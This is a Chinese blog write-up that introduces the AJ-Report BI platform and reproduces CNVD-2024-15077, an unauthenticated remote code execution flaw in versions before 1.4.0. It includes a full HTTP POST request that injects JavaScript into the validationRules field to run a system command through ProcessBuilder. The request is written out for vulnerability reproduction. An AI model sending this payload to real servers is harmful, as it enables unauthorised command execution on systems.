当前位置: 首页 > ops >正文

AJ-Report

目录

AJ-Report是什么

 CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)


AJ-Report是什么

        AJ-Report是完全开源的BI(Business intelligence)平台,旨在帮助用户生成和管理各种类型的报表。它通常用于web应用中,用于分析和展示数据,常用于企业和数据密集型系统中。AJ-Report支持多种便捷功能。

  • 报表设计器:允许用户通过图形化界面设计报表,无需编写复杂的代码。
  • 数据源支持:可以与数据库、API 等多种数据源连接,支持多种数据格式(如 SQL、NoSQL 等)。
  • 可定制性:支持定制报表的布局、样式、格式等,满足不同的业务需求。
  • 导出功能:用户可以将生成的报表导出为 PDF、Excel 等格式,便于分享和存档。

 CNVD-2024-15077(AJ-Report认证绕过和远程代码执行漏洞)

        漏洞成因:verification方法未对传入的参数进行过滤,可以执行JavaScript函数。导致命令执行漏洞。代码使用engine.eval(validationRules)执行传入的validationRules字符串。validationRules字符串可来自用户输入,没有对用户输入做验证和清理,恶意用户可构造恶意的JavaScript代码传递给validationRules,从而在服务器上执行恶意命令。

版本要求:AJ-Report < 1.4.0

账号要求:无需登录,无需账号。

步骤1:构造数据包如下

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

调用Swagger UI 接口发送的POST数据包,以JSON格式传递数据,在key为validationRules中构造命令。

步骤2:查看结果

切换命令测试

http://www.xdnf.cn/news/10802.html

相关文章:

  • 深拷贝与浅拷贝的区别?如何手写实现一个深拷贝?
  • 英语写作中“不少于(小于)”no less than替代no fewer than的用法
  • 【文献精读】Explaining grokking through circuit efficiency
  • virtualbox安装扩展工具以支持共享文件夹
  • Foundation Models for Generalist Geospatial Artificial Intelligence论文阅读
  • RTOS:初始化新任务(含源码复杂点解读)
  • MyBatis相关面试题
  • dvwa7——SQL Injection
  • CentOS 7镜像源替换
  • 豆包的图片生成功能基于其底层AI模型,结合了多模态大模型和图像生成技术,其核心逻辑主要包括以下几个部分:
  • mac下通过anaconda安装Python
  • 你的台式机PCIe插槽到底是几条lane
  • 电脑硬盘分几个区好
  • 50天50个小项目 (Vue3 + Tailwindcss V4) ✨ | Dad Jokes(冷笑话卡片)
  • VueScan:全能扫描,高清输出
  • 《Linux C编程实战》笔记:多路复用
  • vue3:Table组件动态的字段(列)权限、显示隐藏和左侧固定
  • Oracle中的循环——FOR循环、WHILE循环和LOOP循环
  • 免费批量文件重命名软件
  • Spring AI Alibaba + Nacos 动态 MCP Server 代理方案
  • 重新审视自回归语言模型的知识蒸馏
  • 总览四级考试
  • 用AI(Deepseek)做了配色网站-功能介绍【欢迎体验】
  • 电子电路:全面深入了解晶振的定义、作用及应用
  • linux安全加固(非常详细)
  • Redis:常用数据结构 单线程模型
  • 多线程编程中的数据竞争与内存可见性问题解析
  • [Java 基础]变量,装东西的盒子
  • 基于QwenAgent解锁Qwen3无思考高效模式:vLLM部署实战与Ollama模板定制
  • 美尔斯通携手北京康复辅具技术中心开展公益活动,科技赋能助力银龄健康管理